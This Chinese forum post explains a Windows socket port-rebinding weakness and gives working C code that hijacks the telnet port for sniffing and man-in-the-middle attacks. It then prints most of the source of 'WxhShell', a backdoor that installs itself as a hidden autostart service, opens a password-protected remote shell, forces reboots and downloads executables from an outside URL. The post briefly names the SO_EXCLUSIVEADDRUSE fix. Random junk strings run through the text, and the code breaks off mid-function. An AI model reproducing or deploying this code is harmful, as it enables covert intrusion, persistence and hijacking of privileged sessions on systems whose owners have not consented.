社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 15594阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Rw+r1vW:A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +SFFwjI  
mERkC,$  
  saddr.sin_family = AF_INET; mP)bOAU  
-d ,D!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); $}/tlA&e  
b7.7@Ly y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); byM%D$R  
5{=+S]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vHi%UaD-y  
)Jt. Z^J<  
  这意味着什么?意味着可以进行如下的攻击: u`v&URM  
Q>5f@aN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .gO|=E"  
Z_ GGH2u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =z. hJu  
}83 8F&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ? dJd7+A  
=%` s-[5b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  An_(L*Qz  
onu G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lf"w/pb'  
{IOc'W-C#2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b ri[&=  
> TYDkEs0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L } R"1O  
7rD 8  
  #include tav@a)  
  #include oG)T>L[&  
  #include "|JbdI]%P  
  #include    EMnz;/dMt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `R0~mx&6G  
  int main() nc1~5eo  
  { :2j`NyLI.  
  WORD wVersionRequested; n[>hJ6  
  DWORD ret; 18X?CoM~  
  WSADATA wsaData; "E+;O,N-  
  BOOL val; .6MG#N  
  SOCKADDR_IN saddr; *Xnf}Ozx  
  SOCKADDR_IN scaddr; qt9jZtx  
  int err; +E. D:  
  SOCKET s; )q{qWobS0  
  SOCKET sc; kk5&lak2V  
  int caddsize; T"99m^y  
  HANDLE mt; yr'-;-u  
  DWORD tid;   J4eU6W+{  
  wVersionRequested = MAKEWORD( 2, 2 ); ou0TKE9 _  
  err = WSAStartup( wVersionRequested, &wsaData ); z uNm !$  
  if ( err != 0 ) { SE*;6&yL  
  printf("error!WSAStartup failed!\n"); |6^a[x3/U  
  return -1; ~ AD>@;8fG  
  } @(L}:]{@  
  saddr.sin_family = AF_INET; f\5w@nX  
   ]]y>d!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XOX$uLm  
`XF[A8@h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (}wPu&Is,C  
  saddr.sin_port = htons(23); ,R=!ts[qi  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e!0xh  
  { >3&  
  printf("error!socket failed!\n"); r1F5'?NZ(0  
  return -1; $m ;p@#n  
  } l\0PwD  
  val = TRUE; 41/civX>V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 < e3] pM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mvH}G8  
  { K'2N:.D:  
  printf("error!setsockopt failed!\n"); ;Qy Ew5  
  return -1; ,X|FyO(p  
  } i|<wnJu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _*=4xmB.=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 q=e;P;u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =oXlJ[)h  
t ^>07#z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]u<U[l-w  
  { o[wiQ9Tl  
  ret=GetLastError(); 5M>p%/  
  printf("error!bind failed!\n"); 1\Bh-tzB  
  return -1; B t3++ Mj  
  } Z*P/ubV'  
  listen(s,2); ~tTa[_a!  
  while(1) A' ![*O  
  { .+Q1h61$T  
  caddsize = sizeof(scaddr); >=rniHs=?7  
  //接受连接请求 ~YNzSkz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qm#?DSLap  
  if(sc!=INVALID_SOCKET) ~BTm6*'h  
  { nzxHd7NIZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vR#MUKfh  
  if(mt==NULL) kL s{B  
  { 9*JxP%8T~X  
  printf("Thread Creat Failed!\n"); "=%YyH~WY  
  break; L})fYVX  
  } T+0z.E!~I  
  } +R$;LtR  
  CloseHandle(mt); gzK/l:  
  } Ts, U T L  
  closesocket(s); [GM!@6U  
  WSACleanup(); ~K)FuL[*  
  return 0; MS2/<LD3d  
  }   ]ml'd  
  DWORD WINAPI ClientThread(LPVOID lpParam) UC`sq-n  
  { {>64-bU  
  SOCKET ss = (SOCKET)lpParam; q 7W7sw  
  SOCKET sc; q}'<[Wg  
  unsigned char buf[4096]; k,OxGG  
  SOCKADDR_IN saddr; f[`&3+  
  long num; %;_EWs/z8  
  DWORD val; d hg($m  
  DWORD ret; a{;+_J3S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $D^27q:H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1*#hIuoj'  
  saddr.sin_family = AF_INET; $Y$s*h_-/<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &a >UVs?=  
  saddr.sin_port = htons(23); N>s3tGh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BD.l5 ~:  
  { ~y 2joStx  
  printf("error!socket failed!\n"); :[PA.Upi  
  return -1; ,rY}IwM w  
  } _=[pW2p  
  val = 100; lS2 `#l>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +U1fa9NSn  
  { isnpSN"z  
  ret = GetLastError(); ls "Z4v(L6  
  return -1; I#F, Mb>:  
  } 2*-qEUl1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tOj5b 7'ui  
  { ;8]Hw a1!  
  ret = GetLastError(); 5P('SFq'=  
  return -1; 0!c/4^  
  } DM,;W`|6%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A6;[r #C  
  { !*wd d8   
  printf("error!socket connect failed!\n"); DfOig LG*  
  closesocket(sc); 527u d^:  
  closesocket(ss); % 5!Y#$:{o  
  return -1; !cO<N~0*5x  
  } F9IPA%  
  while(1) ?a?] LIE8  
  { !$-QWKD4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 od vUU#l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 v`jFWq8I,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q~\[P4m  
  num = recv(ss,buf,4096,0); `1 Tg8  
  if(num>0) Kna@K$6{w=  
  send(sc,buf,num,0); nzB!0U  
  else if(num==0) 1 x0)mt3  
  break; MLmk=&d  
  num = recv(sc,buf,4096,0); T!pHT'J  
  if(num>0) !uKuO  
  send(ss,buf,num,0); -,"eN}P^  
  else if(num==0) ~VF?T~Kr_  
  break; aTLr%D:Ka  
  } /jU4mPb;\D  
  closesocket(ss); i?F~]8  
  closesocket(sc); #/K71Y  
  return 0 ; {*Qx^e`h$.  
  } oFu( J  
PiX(Ase  
%G]WOq=q  
========================================================== VB+y9$Y'  
Wc/B_F?2  
下边附上一个代码,,WXhSHELL Ed"p|5~  
*_uGzGB&G  
==========================================================  %B#8  
]!N|3"Ls  
#include "stdafx.h" &Mh]s\  
LkJ-M=y  
#include <stdio.h> SM`n:{N(  
#include <string.h> g^2H(}frc  
#include <windows.h> 5bprhq-7  
#include <winsock2.h> ?CuwA-j  
#include <winsvc.h> MJ@PAwv"  
#include <urlmon.h> X gA( D  
#$-`+P  
#pragma comment (lib, "Ws2_32.lib") DIc -"5~  
#pragma comment (lib, "urlmon.lib") /. @"wAw:  
flU?6\_UC  
#define MAX_USER   100 // 最大客户端连接数 Mg {=(No  
#define BUF_SOCK   200 // sock buffer Y X{F$BM  
#define KEY_BUFF   255 // 输入 buffer 0qo :M3  
)L7h:%h#  
#define REBOOT     0   // 重启 <a%RKjQvT  
#define SHUTDOWN   1   // 关机 $%3%&+z$I  
b,RQ" {  
#define DEF_PORT   5000 // 监听端口 DqBiBH[%h  
nTPq|=C  
#define REG_LEN     16   // 注册表键长度 2xpI|+ a%  
#define SVC_LEN     80   // NT服务名长度  r(c8P6_  
agPTY{;  
// 从dll定义API QpMi+q Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g,5Tr_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); i~EFRI@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _{YUWV50}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rIWQD%Afm  
@L5s.]vg=  
// wxhshell配置信息 #qdfr3  
struct WSCFG { _air'XQ&!  
  int ws_port;         // 监听端口 j.7BoV  
  char ws_passstr[REG_LEN]; // 口令 6{TUs>~  
  int ws_autoins;       // 安装标记, 1=yes 0=no nK9?|@S*'  
  char ws_regname[REG_LEN]; // 注册表键名 xr1,D5  
  char ws_svcname[REG_LEN]; // 服务名 Ex}hk!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $~<]G)*Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JWvL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {:c5/ ,7c;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fhk`qh'i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2"!s8x1$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J'Y;j^  
4b :q84  
}; , FD RU  
MPD<MaW$  
// default Wxhshell configuration 6~c:FsZ)  
struct WSCFG wscfg={DEF_PORT, >K-S&Y  
    "xuhuanlingzhe", =/MA`>  
    1, Iju9#b6  
    "Wxhshell", 7Nt6}${=z  
    "Wxhshell", yJ?S7+b  
            "WxhShell Service", Q?]-/v  
    "Wrsky Windows CmdShell Service", KetNFwbUf  
    "Please Input Your Password: ", j NkobJ1  
  1, @PAT|6  
  "http://www.wrsky.com/wxhshell.exe", IcP\#zhEv  
  "Wxhshell.exe" .l$:0a  
    }; V(3=j)#  
I::|d,bR!  
// 消息定义模块 6-J%Z%yT #  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TNkvdE-S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $u P'>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6w)a.^yx7  
char *msg_ws_ext="\n\rExit."; r6gfxW5  
char *msg_ws_end="\n\rQuit."; = 4 wf  
char *msg_ws_boot="\n\rReboot..."; dh S7}n  
char *msg_ws_poff="\n\rShutdown..."; u4vyj#V  
char *msg_ws_down="\n\rSave to "; @p ZjJ<9QM  
d=d*:<Zx  
char *msg_ws_err="\n\rErr!"; 1U6 z2i+y  
char *msg_ws_ok="\n\rOK!"; !!?TkVyEyM  
&$g{i:)Z  
char ExeFile[MAX_PATH]; ]+A%3 7  
int nUser = 0; <sli!rv  
HANDLE handles[MAX_USER]; \45F;f_r6  
int OsIsNt; @A'@%Zv-  
1s/548wu  
SERVICE_STATUS       serviceStatus; !QS j*)V#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X R|U6bf]  
h0a|R4J  
// 函数声明 <\EJ:  
int Install(void); 1V.oR`&2E  
int Uninstall(void); 75^AO>gt   
int DownloadFile(char *sURL, SOCKET wsh); ^:~!@$*;6  
int Boot(int flag); 0TWd.+  
void HideProc(void); `3:Q.A_?  
int GetOsVer(void); 5.d[C/pRw  
int Wxhshell(SOCKET wsl); Q|xa:`3?  
void TalkWithClient(void *cs); =}zSj64  
int CmdShell(SOCKET sock); |p.|zH  
int StartFromService(void); /]oQqZHv  
int StartWxhshell(LPSTR lpCmdLine); S#:l17e3  
!|Wf mU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rXP~k]tC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bEm9hFvd  
"S H=|5+  
// 数据结构和表定义 '^)}"sZ@G  
SERVICE_TABLE_ENTRY DispatchTable[] = 8qL.L(=\/  
{ 10_#Z~aU  
{wscfg.ws_svcname, NTServiceMain}, -}3nIk<N  
{NULL, NULL} =;Dj[<mJ45  
}; TJCE6QG  
f@[qS7ok  
// 自我安装 RdBIbm  
int Install(void) _&%FGcAS  
{ -Xx4:S  
  char svExeFile[MAX_PATH]; :gO5#HIm  
  HKEY key; Y (p Ud3y  
  strcpy(svExeFile,ExeFile); u}b%-:-  
ocu,qL)W  
// 如果是win9x系统,修改注册表设为自启动 1YK(oRSDn  
if(!OsIsNt) { y @S_CB 47  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =f!clhO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <RKT |  
  RegCloseKey(key); ,l Y4WO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u*/+cT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P V:J>!]  
  RegCloseKey(key); *YSRZvD<\  
  return 0; A=3L_ #nO  
    } SA7(EJ95  
  } 4jt(tZS  
} 4(p`xdr}K  
else { p6Z|)1O]  
.G#li(NWH  
// 如果是NT以上系统,安装为系统服务 f7y.##WG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }wkY`"  
if (schSCManager!=0) 7i!VgV  
{ '%82pZ,?  
  SC_HANDLE schService = CreateService :AS`1\ C  
  ( ()48>||  
  schSCManager, ,yA[XAz~U  
  wscfg.ws_svcname, [q U v|l1  
  wscfg.ws_svcdisp, `CI_zc=jx  
  SERVICE_ALL_ACCESS, $ dF3@(p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i[@13kr  
  SERVICE_AUTO_START, 8xg^="OJ  
  SERVICE_ERROR_NORMAL, [q_+s  
  svExeFile, /-,\$@J5)  
  NULL, Px&_6}YWy  
  NULL, xP!QV~$>  
  NULL, A&bj l[s  
  NULL, U8AH,?]#  
  NULL Lm=;Y6'`N  
  ); HC/z3b;  
  if (schService!=0) U3N9O.VC  
  { r4fHD~#l{  
  CloseServiceHandle(schService); fjVy;qJ32S  
  CloseServiceHandle(schSCManager); h='F,r5#2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4A6Yl6\Y  
  strcat(svExeFile,wscfg.ws_svcname); tKeTHj;jO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .z.4E:Iq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C!a1.&HHZ7  
  RegCloseKey(key); :Ys~Lt54  
  return 0; Ff%V1BH[  
    } avL_>7q  
  } `r-jWK\  
  CloseServiceHandle(schSCManager); 4uo`XJuQ  
} 2h'Wu qO  
} 6oNcj_?7?q  
qfyZda0d  
return 1; =i&,I{3  
} o[T+/Ej&  
CMaph  
// 自我卸载 PmRvjSIG  
int Uninstall(void) m&Mupl  
{ *L$2M?xkY  
  HKEY key; [YfoQ1  
RI0^#S_{  
if(!OsIsNt) { WXl+w7jr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~vFa\7sf  
  RegDeleteValue(key,wscfg.ws_regname); u] };QR  
  RegCloseKey(key); ba);f[>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lGl'A}]#$  
  RegDeleteValue(key,wscfg.ws_regname); NEIkG>\7q  
  RegCloseKey(key); C/Khp +  
  return 0; e~9O#rQI  
  } _XV%}Xb'  
} N8b\OTk2  
} LdV&G/G-#D  
else { 3}0\W.jH  
&0Yg:{k$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .$%p0Yx+  
if (schSCManager!=0) _U<fS  
{ $(aq;DR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !Qe ;oMqy}  
  if (schService!=0) K^shTh8k  
  { hfaU-IPcFX  
  if(DeleteService(schService)!=0) { CWn\K R  
  CloseServiceHandle(schService); ^dHQ<L3.*  
  CloseServiceHandle(schSCManager); xc:E>-  
  return 0; f"QiVJq  
  } =_7wd*,  
  CloseServiceHandle(schService); QPJ \Iu@D$  
  } *1b|j|5v  
  CloseServiceHandle(schSCManager); Nr~$i%[  
} vk& gR  
} Ke\\B o,  
N+|NI?R?}  
return 1; Tlsh[@Q  
} WQK<z!W5  
7A)\:k  
// 从指定url下载文件 W$rWg>4>  
int DownloadFile(char *sURL, SOCKET wsh) E.oJ[;  
{ J7+G"_)'  
  HRESULT hr; OSgJj MQ  
char seps[]= "/"; SS=<\q#MS  
char *token; /4:bx#;A  
char *file; ;c(a)_1  
char myURL[MAX_PATH]; Zv u6/#  
char myFILE[MAX_PATH]; J D\tt-  
zfIo] M`  
strcpy(myURL,sURL); zM9#1^X  
  token=strtok(myURL,seps); B$4*U"tk  
  while(token!=NULL) Jl Do_}  
  { ?+yr7_f3*  
    file=token; %tCv-aX4  
  token=strtok(NULL,seps); lvs  XL  
  } /{i~CGc ;"  
`fu_){  
GetCurrentDirectory(MAX_PATH,myFILE); Kc/1LeAik  
strcat(myFILE, "\\"); :xh{SsW@  
strcat(myFILE, file); u6qK4*eAD  
  send(wsh,myFILE,strlen(myFILE),0); Jh26!%<Bl  
send(wsh,"...",3,0); 6j<9Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #2{-6ey  
  if(hr==S_OK) 51#*8u+L  
return 0; Yh":>~k?SY  
else z:Ml;y  
return 1; }u Y2-l  
K$CC ~,D  
} p8 rh`7  
*;7y5ZJ  
// 系统电源模块 ;FPx  
int Boot(int flag) 9mF '   
{ jkAjYR.  
  HANDLE hToken; S* h52li  
  TOKEN_PRIVILEGES tkp; Wh[QR-7Ew  
?YhDjQs  
  if(OsIsNt) { ]%\,.&=hT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [);oj<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [GwAm>k  
    tkp.PrivilegeCount = 1; wj)LOA0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &qv~)ZM$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %pC<T*f  
if(flag==REBOOT) { s\*L5{kiSl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E C?}iP  
  return 0; q t"D!S_  
} }0'=}BE  
else { XlmX3RU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6FUW^dt  
  return 0; m4:c$5  
} ]33!obM  
  } zj 6I:Q r  
  else { X Xque-  
if(flag==REBOOT) { -JW~_Q[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <2$vo  
  return 0; ER0 Yl  
} L^J4wYFTO  
else { ]#tB[G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bLqy7S9x  
  return 0; p|>*M\LE#  
} }:Z.g  
} KX) n+{   
(q)}`1d'  
return 1; CM6% g f3  
} i8iT}^  
tOwn M1 :(  
// win9x进程隐藏模块 a:FU- ^B4~  
void HideProc(void) (gt\R}  
{ |OeyPD#  
,jU>V]YC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KVi6vdgD  
  if ( hKernel != NULL ) rRTKF0+  
  { /MZ<vnN7f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *x36;6~W;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "LBMpgpU  
    FreeLibrary(hKernel); v{u3[c   
  } Q*DT" W/0  
c_/BS n  
return; Y teIp'T  
} N$fP\h^AR  
5100fX}  
// 获取操作系统版本 ak(s@@k  
int GetOsVer(void) 'L/)9.29  
{ LdUz;sb  
  OSVERSIONINFO winfo; ~ua(Qm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); corm'AJ/  
  GetVersionEx(&winfo); a>4/2#J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l`v5e"V  
  return 1; Nr|Gw @+  
  else x]^d'o:cDP  
  return 0; K\xz|Gq  
} Fh~9(Y#  
X3:1KDVsV  
// 客户端句柄模块 rZKh}E  
int Wxhshell(SOCKET wsl) &3vm @  
{ z#{Y>.b  
  SOCKET wsh; H_xHoCLI  
  struct sockaddr_in client; \f,<\mJ#  
  DWORD myID; 7qC /a c  
e=Ox~2S  
  while(nUser<MAX_USER) qq)5)S  
{ y-pdAkDh  
  int nSize=sizeof(client); /xn|d#4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;~3;CijJ8  
  if(wsh==INVALID_SOCKET) return 1; ys=2!P-[#  
u#6s^ )W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G^'We6<  
if(handles[nUser]==0) 1wgL^Qz@  
  closesocket(wsh); f6r!3y  
else aB%.]bi  
  nUser++; \8(Je"S  
  } yY]x' 'K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]& D dy&V  
"rdpA[>L  
  return 0; "P7OD^(x/  
} /qdvzv%T  
RHsVG &<j  
// 关闭 socket =CzGI|pb  
void CloseIt(SOCKET wsh) F=\ REq  
{ `;mgJD  
closesocket(wsh); m mF0RNE  
nUser--; (N/u@M  
ExitThread(0); o0Teect=  
} S{llpp{E  
@ 5d^ C  
// 客户端请求句柄 8Hq4ppC  
void TalkWithClient(void *cs) VjM/'V5  
{ >4g!ic~O  
x@ X2r  
  SOCKET wsh=(SOCKET)cs; =t N}4  
  char pwd[SVC_LEN]; :@(1~Hm  
  char cmd[KEY_BUFF]; CUDA<Fm  
char chr[1]; Zx8$M5  
int i,j; \LUW?@gLa  
u.E>d9  
  while (nUser < MAX_USER) { ^a qQw u  
g Cp`J(2v:  
if(wscfg.ws_passstr) { 'qVlq5.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fs >MFj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +wG *qI  
  //ZeroMemory(pwd,KEY_BUFF); "d}']M?-h  
      i=0; ZQ"dAR/y  
  while(i<SVC_LEN) { Ew4D'; &;  
.BjWZj  
  // 设置超时 lP=,|xFra  
  fd_set FdRead; qKSR5 #  
  struct timeval TimeOut; ?121 as}z  
  FD_ZERO(&FdRead); y%|Ez  
  FD_SET(wsh,&FdRead); SN|!FW.*:  
  TimeOut.tv_sec=8; N?3p,2  
  TimeOut.tv_usec=0; ;0Ua t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XN-1`5:4I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^WU[+H ;  
0aq{Y7sYU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _I)TO_L;  
  pwd=chr[0]; u/k' ry=  
  if(chr[0]==0xd || chr[0]==0xa) { &pY$\  
  pwd=0; "[/W+&z[~  
  break; @Y,t]  
  } bv41et+Kb  
  i++; Obu 6k[BE.  
    } nVlZ_72d  
l_2Xao$  
  // 如果是非法用户,关闭 socket H.hKh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dJzaP  
} n[BYBg1yG  
C-_u`|jQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mg0ai6KD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~Y0K Wx4  
@WXRZEz  
while(1) { F)=<|,b1  
J*ofa>  
  ZeroMemory(cmd,KEY_BUFF); dM,{:eID  
UU}Hs}  
      // 自动支持客户端 telnet标准    w@mCQ$  
  j=0; AN,3[Sh  
  while(j<KEY_BUFF) { FYNUap,A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f% 8n?f3;u  
  cmd[j]=chr[0]; zWN]#W`  
  if(chr[0]==0xa || chr[0]==0xd) { \{(cz/]G/  
  cmd[j]=0; ld%#.~Q  
  break; dtQ3iuV %  
  } U_9|ED:  
  j++; dXWG`G_  
    } 'mv|6Y  
:3se/4y}  
  // 下载文件 }WR@%)7ay  
  if(strstr(cmd,"http://")) { ?!tO'}?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /^i_tLgb  
  if(DownloadFile(cmd,wsh)) +CQIm!Sp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?r$& O*;  
  else O|v8.3[cT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lBG5~<NT  
  } D1]?f`  
  else { mmC MsBfL  
EAs^i+/  
    switch(cmd[0]) { I]#x0?D  
  F(U(b_DPM  
  // 帮助 !bW^G} <t  
  case '?': { g |]Hm*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AAi4} 8+\  
    break; 80U(q/H%9  
  } XU['lr&,W  
  // 安装 rv~OfL  
  case 'i': { .L)j ql%  
    if(Install()) \  6Y%z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h-03]M#8=  
    else `'rvDaP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \O>;,(>i  
    break; 0sq?>$~Kc*  
    } tB0f+ wC  
  // 卸载 |l~#qeZ%  
  case 'r': { &61h*s  
    if(Uninstall()) Fp+fZU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EP{ji"/7[  
    else L3S29-T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _:XX+ 3W7  
    break; 9 KU3)%U  
    } %8KbVjn  
  // 显示 wxhshell 所在路径 e=i9l  
  case 'p': { wWJM./y  
    char svExeFile[MAX_PATH]; /p{$HkVw  
    strcpy(svExeFile,"\n\r"); *Fd(  
      strcat(svExeFile,ExeFile); !imjfkG  
        send(wsh,svExeFile,strlen(svExeFile),0); G'iE`4`2  
    break; _10I0Z0  
    } iT~ gt/K  
  // 重启 _.GHtu/I  
  case 'b': { .|LY /q\A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vpxsg CS  
    if(Boot(REBOOT)) RPTIDA))  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0fw>/"v  
    else { &*qAB)* *  
    closesocket(wsh); xQs._YY  
